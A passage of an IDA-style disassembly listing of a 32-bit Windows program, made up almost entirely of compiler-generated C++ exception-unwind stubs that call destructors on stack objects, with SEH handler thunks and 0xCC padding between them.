		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_404010	proc near		; DATA XREF: sub_404010+2o
		mov	eax, offset dword_43F890
		jmp	sub_437AB8
SEH_404010	endp

; ---------------------------------------------------------------------------
		db 2Eh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4394F8:				; DATA XREF: ___:0043F974o
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_404690	proc near		; DATA XREF: sub_404690+2o
		mov	eax, offset dword_43F948
		jmp	sub_437AB8
SEH_404690	endp

; ---------------------------------------------------------------------------
		db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43957B:				; DATA XREF: ___:0043F9FCo
		lea	ecx, [ebp-100h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439586:				; DATA XREF: ___:0043FA04o
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-100h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-134h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0E8h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_404CC0	proc near		; DATA XREF: sub_404CC0+8o
		mov	eax, offset dword_43F9D0
		jmp	sub_437AB8
SEH_404CC0	endp

; ---------------------------------------------------------------------------
		db 8Bh dup(0CCh)
; ---------------------------------------------------------------------------


loc_439820:				; DATA XREF: ___:0043FBD4o
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-28h]
		and	eax, 1
		test	eax, eax
		jz	locret_43983E
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_43983E:				; CODE XREF: ___:00439830j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_406730	proc near		; DATA XREF: sub_406730+2o
		mov	eax, offset dword_43FBA8
		jmp	sub_437AB8
SEH_406730	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------


loc_439860:				; DATA XREF: ___:0043FC0Co
		lea	ecx, [ebp-18Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-198h]
		and	eax, 1
		test	eax, eax
		jz	locret_439884
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_439884:				; CODE XREF: ___:00439876j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4068E0	proc near		; DATA XREF: sub_4068E0+2o
		mov	eax, offset dword_43FBE0
		jmp	sub_437AB8
SEH_4068E0	endp

; ---------------------------------------------------------------------------
		db 11h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-454h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4398AB:				; DATA XREF: ___:0043FC44o
		lea	ecx, [ebp-43Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4398B6:				; DATA XREF: ___:0043FC4Co
		lea	ecx, [ebp-424h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_406C80	proc near		; DATA XREF: sub_406C80+8o
		mov	eax, offset dword_43FC18
		jmp	sub_437AB8
SEH_406C80	endp

; ---------------------------------------------------------------------------
		db 15h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_407080	proc near		; DATA XREF: sub_407080+2o
		mov	eax, offset dword_43FC58
		jmp	sub_437AB8
SEH_407080	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+8]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4076B0	proc near		; DATA XREF: sub_4076B0+8o
		mov	eax, offset dword_43FC88
		jmp	sub_437AB8
SEH_4076B0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+20h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439928:				; DATA XREF: ___:0043FCE4o
		lea	ecx, [ebp+8]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_407740	proc near		; DATA XREF: sub_407740+8o
		mov	eax, offset dword_43FCB8
		jmp	sub_437AB8
SEH_407740	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-2C4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43994B:				; DATA XREF: ___:0043FD1Co
		lea	ecx, [ebp-2DCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-174h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-204h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-294h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-234h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-264h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0E4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-15Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-114h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-144h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-27Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0CCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-21Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0B4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-9Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-330h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-318h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-34Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-12Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0FCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-2F8h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-300h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4077E0	proc near		; DATA XREF: sub_4077E0+2o
		mov	eax, offset dword_43FCF0
		jmp	sub_437AB8
SEH_4077E0	endp

; ---------------------------------------------------------------------------
		db 0CFh	dup(0CCh)
		dd 0E9C84D8Dh, 75C5574Dh
; ---------------------------------------------------------------------------
		pop	ebp

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_409660	proc near		; DATA XREF: sub_409660+2o
		mov	eax, offset dword_4400A0
		jmp	sub_437AB8
SEH_409660	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40A370	proc near		; DATA XREF: sub_40A370+2o
		mov	eax, offset dword_4400D0
		jmp	sub_437AB8
SEH_40A370	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-38h]
		and	eax, 1
		test	eax, eax
		jz	locret_439D86
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_439D86:				; CODE XREF: ___:00439D78j
		retn
; ---------------------------------------------------------------------------


loc_439D87:				; DATA XREF: ___:0044012Co
		lea	ecx, [ebp-34h]
		jmp	sub_401596
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40A510	proc near		; DATA XREF: sub_40A510+2o
		mov	eax, offset dword_440100
		jmp	sub_437AB8
SEH_40A510	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 90C84D8Dh, 0C556CCE9h
		db 75h
; ---------------------------------------------------------------------------


loc_439DB9:				; DATA XREF: ___:0040AA32o
		mov	eax, offset dword_440140
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40AEF0	proc near		; DATA XREF: sub_40AEF0+5o
		mov	eax, offset dword_440170
		jmp	sub_437AB8
SEH_40AEF0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B070	proc near		; DATA XREF: sub_40B070+5o
		mov	eax, offset dword_4401D0
		jmp	sub_437AB8
SEH_40B070	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_439DFB:				; DATA XREF: ___:0044025Co
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_40155F

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B190	proc near		; DATA XREF: sub_40B190+2o
		mov	eax, offset dword_440230
		jmp	sub_437AB8
SEH_40B190	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_439E4B:				; DATA XREF: ___:004402A4o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_40155F

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B250	proc near		; DATA XREF: sub_40B250+2o
		mov	eax, offset dword_440278
		jmp	sub_437AB8
SEH_40B250	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B2F0	proc near		; DATA XREF: sub_40B2F0+2o
		mov	eax, offset dword_4402C0
		jmp	sub_437AB8
SEH_40B2F0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439EC8:				; DATA XREF: ___:0044032Co
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B510	proc near		; DATA XREF: sub_40B510+2o
		mov	eax, offset dword_440300
		jmp	sub_437AB8
SEH_40B510	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439EF8:				; DATA XREF: ___:0040B6D2o
		mov	eax, offset dword_440340
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439F30:				; DATA XREF: ___:0040B9B8o
		mov	eax, offset dword_440370
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40C440	proc near		; DATA XREF: sub_40C440+2o
		mov	eax, offset dword_4403B8
		jmp	sub_437AB8
SEH_40C440	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-0A78h]
		jmp	loc_401B13
; ---------------------------------------------------------------------------


loc_439F7B:				; DATA XREF: ___:00440414o
		lea	ecx, [ebp-0A3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439F86:				; DATA XREF: ___:0044041Co
		lea	ecx, [ebp-0A54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0A3Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40C4E0	proc near		; DATA XREF: sub_40C4E0+8o
		mov	eax, offset dword_4403E8
		jmp	sub_437AB8
SEH_40C4E0	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40CBF0	proc near		; DATA XREF: sub_40CBF0+2o
		mov	eax, offset dword_440430
		jmp	sub_437AB8
SEH_40CBF0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-260h]
		jmp	loc_40228E
; ---------------------------------------------------------------------------


loc_439FEB:				; DATA XREF: ___:0044048Co
		lea	ecx, [ebp-278h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439FF6:				; DATA XREF: ___:00440494o
		lea	ecx, [ebp-278h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A001:				; DATA XREF: ___:0044049Co
		lea	ecx, [ebp-278h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A00C:				; DATA XREF: ___:004404A4o
		lea	ecx, [ebp-278h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40CC90	proc near		; DATA XREF: sub_40CC90+8o
		mov	eax, offset dword_440460
		jmp	sub_437AB8
SEH_40CC90	endp

; ---------------------------------------------------------------------------
		db 1Fh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A04B:				; DATA XREF: ___:004404DCo
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40CF40	proc near		; DATA XREF: sub_40CF40+2o
		mov	eax, offset dword_4404B0
		jmp	sub_437AB8
SEH_40CF40	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A07B:				; DATA XREF: ___:00440514o
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A086:				; DATA XREF: ___:0040CFC2o
		mov	eax, offset dword_4404E8
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40D210	proc near		; DATA XREF: sub_40D210+2o
		mov	eax, offset dword_440520
		jmp	sub_437AB8
SEH_40D210	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-16Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A0EB:				; DATA XREF: ___:00440594o
		lea	ecx, [ebp-184h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40D660	proc near		; DATA XREF: sub_40D660+2o
		mov	eax, offset dword_440568
		jmp	sub_437AB8
SEH_40D660	endp

; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-604h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-634h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-664h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-67Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-61Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-58Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-694h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-64Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40DC20	proc near		; DATA XREF: sub_40DC20+2o
		mov	eax, offset dword_4405D8
		jmp	sub_437AB8
SEH_40DC20	endp

; ---------------------------------------------------------------------------
		db 27h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A228:				; DATA XREF: ___:0044069Co
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40E2F0	proc near		; DATA XREF: sub_40E2F0+2o
		mov	eax, offset dword_440670
		jmp	sub_437AB8
SEH_40E2F0	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A278:				; DATA XREF: ___:004406F4o
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

